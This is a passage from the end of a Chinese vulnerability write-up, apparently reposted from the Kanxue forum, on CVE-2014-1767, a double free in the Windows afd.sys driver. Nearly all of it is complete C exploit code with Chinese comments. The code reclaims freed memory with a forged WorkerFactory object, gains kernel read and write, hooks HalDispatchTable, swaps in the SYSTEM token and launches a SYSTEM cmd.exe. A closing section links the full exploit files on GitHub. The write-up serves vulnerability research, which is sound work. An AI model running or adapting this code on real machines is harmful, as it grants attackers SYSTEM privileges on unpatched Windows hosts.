MyNtQueryEaFile = GetProcAddress(hNtdll, "NtQueryEaFile");
MyNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
MyNtSetInformationWorkerFactory = GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");
MyNtQueryIntervalProfile = GetProcAddress(hNtdll, "NtQueryIntervalProfile");
MyNtQueryInformationWorkerFactory = GetProcAddress(hNtdll, "ZwQueryInformationWorkerFactory");
if (!MyNtCreateWorkerFactory || !MyNtQueryEaFile || !MyNtQuerySystemInformation || !MyNtSetInformationWorkerFactory ||
!MyNtQueryIntervalProfile || !MyNtQueryInformationWorkerFactory)
{
printf("GetProcAddress Failed %pn", GetLastError());
return 0;
}
//获取nt基址PsLookupProcessByProcessId与HalDispatchTable地址
NTSTATUS Status;
DWORD cbNeed;
Status = MyNtQuerySystemInformation(11, NULL, 0, &cbNeed);
if (Status != STATUS_INFO_LENGTH_MISMATCH)
{
printf("MyNtQuerySystemInformation Failed %pn", Status);
return 0;
}
PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);
Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed);
if (!NT_SUCCESS(Status))
{
printf("MyNtQuerySystemInformation Failed %pn", Status);
return 0;
}
DWORD Ntbase = Info->Module[0].Base;
HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName);
if (Mynt == NULL)
{
printf("LoadLibrary Nt Failedn" );
return 0;
}
MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase;
if (MyHalDispatchTable == NULL)
{
printf("Get HalDispatchTable Failed %pn", GetLastError());
return 0;
}
MyPsLookupProcessByProcessId = (ULONG)GetProcAddress(Mynt, "PsLookupProcessByProcessId") - (ULONG)Mynt + Ntbase;
if (MyPsLookupProcessByProcessId == NULL)
{
printf("Get PsLookupProcessByProcessId Failed %pn", GetLastError());
return 0;
}
return 1;
}
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)
{
//获取自己和系统进程的EPROCESS
PEPROCESS pCur, pSys;
DWORD ObjTable;
MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);
MyPsLookupProcessByProcessId(4, &pSys);
//提权 0xF8为token位置
*(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);
//绕过清理句柄
ObjTable = *(DWORD*)(pCur + 0xF4);
*(DWORD*)(ObjTable + 0x30) -= 1;
ObjTable = *(DWORD*)ObjTable;
*(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;
//恢复Hook
*(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;
return 0;
}
int main(int argc, char** argv)
{
//获取需要的所有地址
if (!GetFuncAddr())
{
printf("GetFuncAddr Failed n");
return 0;
}
DWORD mdlSize = 0xA0;
DWORD virtualAddress = 0x710DDDD;
DWORD length = 0x1F224;
//这里初始化第一次IO控制的inputbuf 以达到第一次释放的目标
static BYTE inbuf1[0x30];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG*)(inbuf1 + 0x18) = virtualAddress;
*(ULONG*)(inbuf1 + 0x1C) = length;
*(ULONG*)(inbuf1 + 0x28) = 1;
//这里初始化第二次IO控制的inputbuf 以到达第二次释放的目标
static BYTE inbuf2[0x10];
memset(inbuf2, 0, sizeof(inbuf2));
*(ULONG*)inbuf2 = 1;
*(ULONG*)(inbuf2 + 4) = 0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
//创建会调用到afd.sys漏洞函数的socket句柄
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
// 释放第一次申请的mdl结构,大小为0xA0
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
// 创建一个 WorkerFactory Object 来占坑释放的 mdl 0xA0 的空间
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
//创建WorkerFactory对象
DebugBreak();
DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);
// 第二次释放 释放掉的内存是 WorkerFactory Object
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
//开始操作WorkerFactory Object
BYTE WorkerFactory[0xA0] = { 0 };
//申请的时候把对象前0x28字节复制过来 Handle置为NULL
BYTE ObjHead[0x28] = { 0x00, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
memcpy(WorkerFactory, ObjHead, 0x28);
//任意读的地址 *(*(obj+0x64)+0xB4) = MyHalDispatchTable + 4
PBYTE pObj = WorkerFactory + 0x28;
*(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4;
//任意写 把 *arg3 的内容 写入到 *( *(*object+0x10)+0x1C )
//*(*object+0x10)+0x1C = MyHalDispatchTable + 4
//因为 *object 所以没办法在本对象内构造数据
//所以需要另一个内存来构造数据
BYTE y[0x14] = { 0 };
*(DWORD*)pObj = (DWORD)y;
PBYTE py = y;
//现在有一个内存y *(y + 0x10) + 0x1C = MyHalDispatchTable + 4
//所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C 即可
*(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;
//现在把伪造的对象拷贝到释放掉的内存
IO_STATUS_BLOCK IoStatus;
MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);
//读 oldHaliQuerySystemInformation
//内核会返回0x60自己的数据 需要的数据被放在 kernelRetMem+0x50
BYTE kernelRetMem[0x60] = { 0 };
MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL);
oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);
//写shellcode地址到HalDispatchTable + 4
DWORD scAddr = (DWORD)Shellcode;
MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);
//调用shellcode
DWORD Interval;
MyNtQueryIntervalProfile(2, &Interval);
//提权后创建一个system权限的cmd
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
system("pause");
return 0;
}
六
写在最后
其实这篇文章今年3月份的时候就已经开始写了, 期间因为手头的事情太多, 中间搁置了好长一段时间。后来发现近期又有好几篇这个漏洞的分析文章,于是就又捡起来写完, 算是凑个热闹。
写作过程中参考了很多前辈的文章, 也引用了部分前人的分析成果。本文涉及到的afd.idb、Exploit.c、Poc.c均已上传到Github参考3。
最后, 希望自己能够勤勉有加, 多做一些有意义的事情。
参考
Pwn2Own_2014_AFD.sys_privilege_escalation
https://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
震惊!万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)
https://bbs.pediy.com/thread-272868.htm#msg_header_h1_8
本文涉及到的文件
https://github.com/Hacksign/Articles/tree/main/Exploit/CVE-2014-1767
看雪ID:Hacksign
https://bbs.kanxue.com/user-home-156241.htm
# 往期推荐
1、Realworld CTF 2023 ChatUWU 详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论